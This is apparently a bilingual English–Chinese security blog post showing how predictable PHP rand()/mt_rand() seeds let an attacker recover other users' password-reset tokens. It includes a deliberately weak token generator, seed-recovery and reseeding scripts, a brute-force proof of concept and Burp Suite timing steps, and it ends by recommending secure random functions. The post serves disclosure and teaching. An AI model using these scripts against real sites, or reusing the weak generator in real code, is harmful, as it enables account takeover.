This blog post delves into the inner workings of mt_rand()
, exposing its weaknesses and demonstrating how these vulnerabilities can be exploited. We’ll examine real-world scenarios and provide insights into more secure alternatives.
这篇博文深入探讨了 mt_rand()
的内部工作原理,揭示了它的弱点,并演示了如何利用这些漏洞。我们将研究真实场景,并提供对更安全替代方案的见解。
What is mt_rand in php?
php 中的mt_rand是什么?
This function generates a random value via the Mersenne Twister Random Number Generator (PHP 4, PHP 5, PHP 7, PHP 8).
此函数通过 Mersenne Twister 随机数生成器(PHP 4、PHP 5、PHP 7、PHP 8)生成随机值。
It helps the developer by generating random numbers, but it is actually random? The answer is no based on the PHP documentation [1]:
它通过生成随机数来帮助开发人员,但它实际上是随机的?根据 PHP 文档 [1],答案是否定的:
There is a tool developed by openwall called php_mt_seed [2]. The tool receives a bunch of the rand output and gives you the seed that was used.
openwall开发了一个工具,叫做php_mt_seed [2]。该工具接收一堆 rand 输出,并为您提供使用的种子。
What are the attacking scenarios? There are two:
攻击场景是什么?有两个:
- The tokens are generated on the same HTTP request
令牌是在同一 HTTP 请求上生成的 - The tokens are not generated on the same request (GH-13690)
令牌不是在同一请求 (GH-13690) 上生成的
As an example for the first scenario, let’s imagine that there is an admin functionality on a web site that is powered by PHP. This functionally is resetting multiple users’ passwords at the same time. A link is sent to the selected users to reset their passwords, and that link contains a reset token generated by rand. If one of the users was an attacker, the attacker could be able to retrieve the seed and predict the tokens for other users as the seed will be the same.
作为第一个场景的示例,让我们假设一个由 PHP 提供支持的网站上有一个管理功能。从功能上讲,这是同时重置多个用户的密码。系统会向选定用户发送一个链接,以重置其密码,该链接包含由 rand 生成的重置令牌。如果其中一个用户是攻击者,则攻击者可以检索种子并预测其他用户的令牌,因为种子将是相同的。
As an example for the second scenario, we have a website powered by PHP 8.0.30, which is vulnerable to GH-13690 or any PHP version is vulnerable to GH-13690. An attacker can request the password be reset for their own account and another account at the same moment (two different HTTP requests). Now the attacker can use their token to predict the seed for the other account. The seed will be different because the rand function is regenerating the seed for every HTTP request, but they can brute force it using the exploit of GH-13690.
作为第二种情况的示例,我们有一个由 PHP 8.0.30 提供支持的网站,该网站容易受到 GH-13690 的攻击,或者任何 PHP 版本都容易受到 GH-13690 的攻击。攻击者可以同时请求重置自己帐户和另一个帐户的密码(两个不同的 HTTP 请求)。现在,攻击者可以使用他们的令牌来预测另一个帐户的种子。种子会有所不同,因为 rand 函数会为每个 HTTP 请求重新生成种子,但他们可以使用 GH-13690 的漏洞对其进行暴力破解。
(Global Mt19937 is not properly reset in-between requests when MT_RAND_PHP is used) (使用 MT_RAND_PHP 时,全局 Mt19937 在请求之间未正确重置) |
图2 – PHP 8更改日志
In both scenarios, we are exploiting the following function that was found in a real application:
在这两种情况下,我们都在利用在实际应用程序中找到的以下函数:
function generate_random_string($length = 10)
{
$characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$rnd_result = '';
for ($i = 0; $i < $length; $i++) {
$rnd_result .= $characters[rand(0, strlen($characters) - 1)];
}
return $rnd_result;
}
Exploiting Scenario 1 利用方案 1
Vulnerable code: 易受攻击的代码:
<?php
function generate_random_string($length = 10)
{
$characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$rnd_result = '';
for ($i = 0; $i < $length; $i++) {
$rnd_result .= $characters[rand(0, strlen($characters) - 1)];
}
return $rnd_result;
}
// $rand = mt_rand();
// srand($rand);
echo "reset password for the first user : " . generate_random_string(32) . '<br />';
echo "reset password for the second user :" . generate_random_string(32) . '<br />';
In the example, the function is generating a password reset for two users but in the same session (same initial state for the mt_rand).
在此示例中,该函数为两个用户生成密码重置,但在同一会话中(mt_rand的初始状态相同)。
The PHP version of our target is latest version:
我们目标的PHP版本是最新版本:
Let’s attack the tokens we need to predict the second token (admin token as an example) using only one of the tokens that was generated (just a normal user token).
让我们攻击预测第二个令牌(以管理员令牌为例)所需的令牌,仅使用生成的一个令牌(只是一个普通的用户令牌)。
The following python script will convert the tokens into what the rand function really generated because the rand function is generating a number, not the strings itself:
以下 python 脚本会将令牌转换为 rand 函数实际生成的内容,因为 rand 函数生成的是数字,而不是字符串本身:
chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
with open("tokens.txt", "r") as file:
tokens = file.readlines()
for token in tokens:
token = token.strip()
for c in token:
print(" ",chars.find(c), chars.find(c),"0","61",end="")
The output of the script will be used with the php_mt_seed tool:
脚本的输出将与php_mt_seed工具一起使用:
The reason “0” and “61” is in the script is because the rand function is bounded from the original PHP code from 0 to 61 and we duplicate the number to achieve the exact match.
脚本中之所以出现“0”和“61”,是因为 rand 函数从原始 PHP 代码的边界从 0 到 61,我们复制数字以实现完全匹配。
Now let’s get the next token using the following exploit PHP code by setting the seed:
现在,让我们通过设置种子,使用以下利用PHP代码获取下一个令牌:
<?php
function generateRandomString($length = 10)
{
$characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$rnd_result = '';
for ($i = 0; $i < $length; $i++) {
$rnd_result .= $characters[rand(0, strlen($characters) - 1)];
}
return $rnd_result;
}
// Set the seed for the random number generator
srand(3697305637);
echo ("current token is :" . generateRandomString(32)." \n");
echo ("target reset token password is " . generateRandomString(32) . " \n")
?>
Here is the example output for the target PHP code as below:
以下是目标 PHP 代码的示例输出,如下所示:
Here we’ve run the exploit PHP code:
在这里,我们运行了漏洞利用的PHP代码:
The attack was successful and we obtained the token.
攻击成功了,我们获得了令牌。
Exploiting Scenario 2 利用方案 2
In this scenario, user1 is the attacker who wants to reset the password for user2, and the website is using a vulnerable PHP version such as 8.0.30 (GH-13690).
在此场景中,user1 是想要重置 user2 密码的攻击者,并且网站使用的是易受攻击的 PHP 版本,例如 8.0.30 (GH-13690)。
We are going to attack an application that uses the same mentioned function in this experiment. We installed the application on PHP version 8.0.30.
我们将攻击一个在本实验中使用相同上述函数的应用程序。我们在 PHP 版本 8.0.30 上安装了该应用程序。
To exploit the issue, we need to send the reset password request for the attacker account and target account at the same time. To do this, we can create a group send in Burp Suite’s Repeater.
要利用此问题,我们需要同时发送攻击者帐户和目标帐户的重置密码请求。为此,我们可以在 Burp Suite 的 Repeater 中创建一个群组发送。
Make sure to enable the Send group single connection as below:
请确保启用发送组单个连接,如下所示:
Using MySQL database, we can see the token was generated for the attacker account and target account at the same time.
使用 MySQL 数据库,我们可以看到 token 是同时为攻击者帐户和目标帐户生成的。
From the attacker’s perspective, we only have access to attacker token, which is F4zrX6rBBHaOadoTwsRvJddtyl5vEeif.
从攻击者的角度来看,我们只能访问攻击者令牌,即 F4zrX6rBBHaOadoTwsRvJddtyl5vEeif。
With this information, let’s use the same attack process as before.
有了这些信息,让我们使用与之前相同的攻击过程。
It’s true that we found the seed, but the next seed that was used to generate the target token will be a bit different. Let’s continue to see in what way.
我们确实找到了种子,但用于生成目标代币的下一个种子会有点不同。让我们继续看看以何种方式。
If we copy the target token, we can use the same attack to get the seed and compare the target seed and attacker seed:
如果我们复制目标令牌,我们可以使用相同的攻击来获取种子,并比较目标种子和攻击者种子:
We can see that the first four digits of the seeds are the same.
我们可以看到种子的前四位数字是相同的。
Attacker F4zrX6rBBHaOadoTwsRvJddtyl5vEeif 1851353544
target 8YIWjEdIWNrsPNk60mzufqVHjGSxSnfe 1851289360
Now all we need to do is brute force the remaining seed, which is only 6 digits!
现在我们需要做的就是暴力破解剩余的种子,只有 6 位数字!
Using our POC to attack:
使用我们的 POC 进行攻击:
<?php
function generateRandomString($length = 10)
{
$characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$rnd_result = '';
for ($i = 0; $i < $length; $i++) {
$rnd_result .= $characters[rand(0, strlen($characters) - 1)];
}
return $rnd_result;
}
// Function to generate all possible combinations
function generateCombinations($length, $characters) {
$combinations = [];
$totalCombinations = pow(count($characters), $length);
for ($i = 0; $i < $totalCombinations; $i++) {
$combination = '';
$temp = $i;
for ($j = 0; $j < $length; $j++) {
$combination = $characters[$temp % count($characters)] . $combination;
$temp = intdiv($temp, count($characters));
}
$combinations[] = $combination;
}
return $combinations;
}
// Define the length of the number and the allowed characters
$length = 6;
$characters = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9'];
// Generate and print all combinations
$allCombinations = generateCombinations($length, $characters);
foreach ($allCombinations as $combination) {
// Set the seed for the random number generator , enter only the start of the seed
$seed = "1851".(string)$combination;
srand($seed);
echo ("using seed ". $seed . " : ". generateRandomString(32)." \n");
// echo $combination . PHP_EOL;
}
?>
After running the POC PHP script:
运行 POC PHP 脚本后:
The attack was successful and the target token was found.
攻击成功,找到了目标令牌。
Now we need to brute force all of the tokens, which is only 1,000,000 and can be brute forced in couple of hours.
现在我们需要暴力破解所有令牌,只有 1,000,000 个,可以在几个小时内被暴力破解。
Conclusion 结论
In this blog post we exploited the PHP mt_rand function in two different scenarios and showed the exploitability in a real world attack. In 2024, mt_rand is still used by programmers to generate random passwords and tokens or even user IDs. The mt_rand function is not secure and puts your software at risk. If you’re looking for a good alternative, we recommend using a secure random generator function like random_int() and random_bytes() to generate secrets and never use mt_rand.
在这篇博文中,我们在两种不同的场景中利用了 PHP mt_rand 功能,并展示了在真实世界攻击中的可利用性。到 2024 年,程序员仍然使用 mt_rand 来生成随机密码和令牌甚至用户 ID。mt_rand功能不安全,会使您的软件面临风险。如果您正在寻找一个好的替代方案,我们建议您使用 random_int() 和 random_bytes() 等安全随机生成器函数来生成密钥,切勿使用mt_rand。
[1] https://www.php.net/manual/en/function.mt-rand.php
[2] https://github.com/openwall/php_mt_seed
: